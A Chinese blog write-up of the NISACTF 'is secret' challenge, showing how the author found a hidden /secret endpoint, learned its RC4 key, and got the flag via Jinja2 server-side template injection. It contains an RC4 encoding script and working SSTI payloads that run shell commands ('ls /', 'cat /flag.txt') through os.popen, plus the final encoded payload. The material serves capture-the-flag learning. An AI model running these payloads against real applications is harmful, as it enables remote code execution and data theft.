NISACTF_WriteUp [2]

106 阅读2分钟

本文已参与 「新人创作礼」 活动,一起开启掘金创作之路。

is secret

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WpXe2YZG-1648434574795)(2022-03-27-20-42-10.png)]

嗯? [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZekJ0OGb-1648434574796)(2022-03-27-20-42-51.png)]

嗯嗯?瞅一眼robots.txt [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7FesvSOi-1648434574798)(2022-03-27-20-43-47.png)]

嗯嗯嗯???secret??? 查到往年的一道题:https://wwwofai.com/article/2616
wow~ wow~ wow~ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KxREEDhL-1648434574799)(2022-03-27-20-44-33.png)]

/secret?secret=awsdssecret的长度超过4时,会报错。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QJ0Ahh7L-1648434574800)(2022-03-27-20-48-26.png)]

上面给出来RC4加密时的密钥:HereIsTreasure SSTI模板注入,使用网上的脚本,来编码payload。

#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time    : 2022/3/26 19:51 
# @Author  : kinnisoy
# @Email   : kinnisoy@gmail.com
# @File    : secret.py
# @Software: PyCharm
# -*----*--*----*--*----*-
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):
#前往加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt

def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
# #print("rc4加密后的base64编码"+enc_base64)
# payload1 查看当前目录
# {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
# payload2='  查看flag
# {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

执行代码 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W2IO44Ee-1648434574801)(2022-03-27-20-54-12.png)]

payload secret=下面的值即可get flag

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23~%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xfoMsTF4-1648434574802)(2022-03-27-20-55-17.png)]